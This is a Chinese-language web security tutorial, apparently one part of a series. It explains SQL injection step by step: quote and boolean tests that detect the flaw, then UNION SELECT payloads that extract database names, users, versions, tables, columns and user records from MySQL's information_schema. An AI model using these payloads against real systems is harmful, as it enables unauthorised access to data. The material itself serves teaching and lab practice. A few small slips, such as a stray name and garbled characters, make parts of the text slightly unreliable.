上節(jié)了解了 SQL 注入的原理,但是我們進(jìn)行 SQL 注入的時(shí)候肯定不是輸入查詢語句就能得到數(shù)據(jù)這么簡單。
注入步驟
SQL 注入流程如下:
- 判斷是否存在注入
- 存在注入后獲取數(shù)據(jù)
1. 判斷是否存在注入
通過輸入特殊的數(shù)據(jù)觸發(fā)異常可以用來判斷是否存在 SQL 注入,如果下述三種情況同時(shí)存在,說明存在字符型注入
為什么返回異常就表示可能存在注入,因?yàn)槿绻祷亓水惓>捅硎竞蠖藞?zhí)行了我們輸入的 SQL 語句,沒有返回異常則可能是后端將我們輸入的做了字符串處理,哪怕輸入 SQL 語句也看做是字符串,不會(huì)當(dāng)作代碼執(zhí)行,這樣我們就沒辦法進(jìn)行注入。
①. 單引號法
輸入: 張三',存在 SQL 注入的代碼會(huì)執(zhí)行如下:
SELECT score FROM Info WHERE name='張三''
可以看到相對正常語法最后多了一個(gè)引號,執(zhí)行會(huì)報(bào)錯(cuò),如果返回了這個(gè)報(bào)錯(cuò),說明可能存在注入。
②. 邏輯聯(lián)結(jié)詞 and
利用邏輯語句:條件1 and 條件2,當(dāng)兩個(gè)條件同時(shí)滿足時(shí),SQL 語句才會(huì)正確執(zhí)行,只要有一個(gè)條件為假,其結(jié)果也為假,語句則不會(huì)執(zhí)行。
(1). 輸入:張三' and '1'='1,執(zhí)行:
SELECT score FROM Info WHERE name='張三' and '1'='1'
'1'='1' 是一個(gè)永真條件,所以這條語句應(yīng)該可以正常返回 Bill Gates 的數(shù)據(jù)
(2). 輸入:張三' and '1'='2,執(zhí)行:
SELECT score FROM Info WHERE name='張三' and '1'='2'
'1'='2' 是個(gè)假條件,所以這條語句應(yīng)該不能返回?cái)?shù)據(jù)
③. 邏輯聯(lián)結(jié)詞 or
利用邏輯語句: 條件1 or 條件2,其中一個(gè)條件為真時(shí),語句便會(huì)執(zhí)行
輸入: 李四' or '1'='1,執(zhí)行:
SELECT score FROM Info WHERE name='李四' or '1'='1'
1=1 為真,所以不管前面的 username 等于什么,這條語句都會(huì)執(zhí)行,并且返回 score 列的所有數(shù)據(jù),相當(dāng)于SELECT score FROM Info
2. 獲取數(shù)據(jù)
執(zhí)行上面的操作后如果存在注入,就可以在注入點(diǎn)進(jìn)行注入,獲取數(shù)據(jù)
(1). 獲取當(dāng)前數(shù)據(jù)庫名和數(shù)據(jù)庫用戶名
輸入:張三' union select database(), user() #
(2). 獲取當(dāng)前的數(shù)據(jù)庫版本和操作系統(tǒng)
輸入:張三' union select version(), @@version_compile_os #
(3). 獲取數(shù)據(jù)表名
輸入:張三' union select table_name,table_schema from information_schema.tables where table_schema=[數(shù)據(jù)庫名]
(4). 獲取表中的列名
輸入:張三' union select 1,group_concat(column_name) from information_schema.columns where table_name=[表名]
(5). 獲取數(shù)據(jù)
輸入:張三' union select * from users #
(6). 獲取字段數(shù)
輸入:張三' order by 5,改變 order by 后面的數(shù)字通過是否報(bào)錯(cuò)可以知道這張表有幾列即幾個(gè)字段,數(shù)字大于已有字段數(shù)時(shí)會(huì)報(bào)錯(cuò)
注意說明:
查到的MySQL的版本?于4.0時(shí),是不?持union select聯(lián)合查詢的。
當(dāng)MySQL版本?于5.0時(shí),有個(gè)默認(rèn)數(shù)據(jù)庫information_schema,這個(gè)數(shù)據(jù)庫包含了一些表和視圖,提供了訪問數(shù)據(jù)庫元數(shù)據(jù)的方式。
元數(shù)據(jù)是關(guān)于數(shù)據(jù)的數(shù)據(jù),如數(shù)據(jù)庫名或表名,列的數(shù)據(jù)類型,或訪問權(quán)限等。有些時(shí)候用于表述該信息的其他術(shù)語包括“數(shù)據(jù)詞典”和“系統(tǒng)目錄”。
一些重要的數(shù)據(jù)字典表的說明:
| 表名 | 表內(nèi)容 |
|---|---|
| SCHEMATA表 | 提供了關(guān)于數(shù)據(jù)庫的信息。 |
| TABLES表 | 給出了關(guān)于數(shù)據(jù)庫中的表的信息,TABLE 表包含兩個(gè)字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲(chǔ)的表名和表名所在的數(shù)據(jù)庫。 |
| COLUMNS表 | 給出了表中的列信息。 |
| STATISTICS表 | 給出了關(guān)于表索引的信息。 |
| USER_PRIVILEGES表 | 給出了關(guān)于全程權(quán)限的信息。該信息源自mysql.user授權(quán)表。 |
| SCHEMA_PRIVILEGES表 | 給出了關(guān)于方案(數(shù)據(jù)庫)權(quán)限的信息。該信息來自mysql.db授權(quán)表。 |
| TABLE_PRIVILEGES表 | 給出了關(guān)于表權(quán)限的信息。該信息源自mysql.tables_priv授權(quán)表。 |
| COLUMN_PRIVILEGES表 | 給出了關(guān)于列權(quán)限的信息。該信息源自mysql.columns_priv授權(quán)表。 |
| CHARACTER_SETS表 | 提供了關(guān)于可用字符集的信息。 |
| COLLATIONS表 | 提供了關(guān)于各字符集的對照信息。 |
| COLLATION_CHARACTER_SET_APPLICABILITY表 | 指明了可用于校對的字符集。 |
| TABLE_CONSTRAINTS表 | 描述了存在約束的表。 |
| KEY_COLUMN_USAGE表 | 描述了具有約束的鍵列。 |
| ROUTINES表 | 提供了關(guān)于存儲(chǔ)子程序(存儲(chǔ)程序和函數(shù))的信息。此時(shí),ROUTINES表不包含自定義函數(shù)(UDF)。 |
| VIEWS表 | 給出了關(guān)于數(shù)據(jù)庫中的視圖的信息。 |
| TRIGGERS表 | 提供了關(guān)于觸發(fā)程序的信息。 |
上一節(jié):一步一步學(xué)習(xí)Web安全 2.1 之 SQL 注入原理
下一節(jié):一步一步學(xué)習(xí) Web 安全 2.3 之 SQL 注入 dvwa 簡單實(shí)踐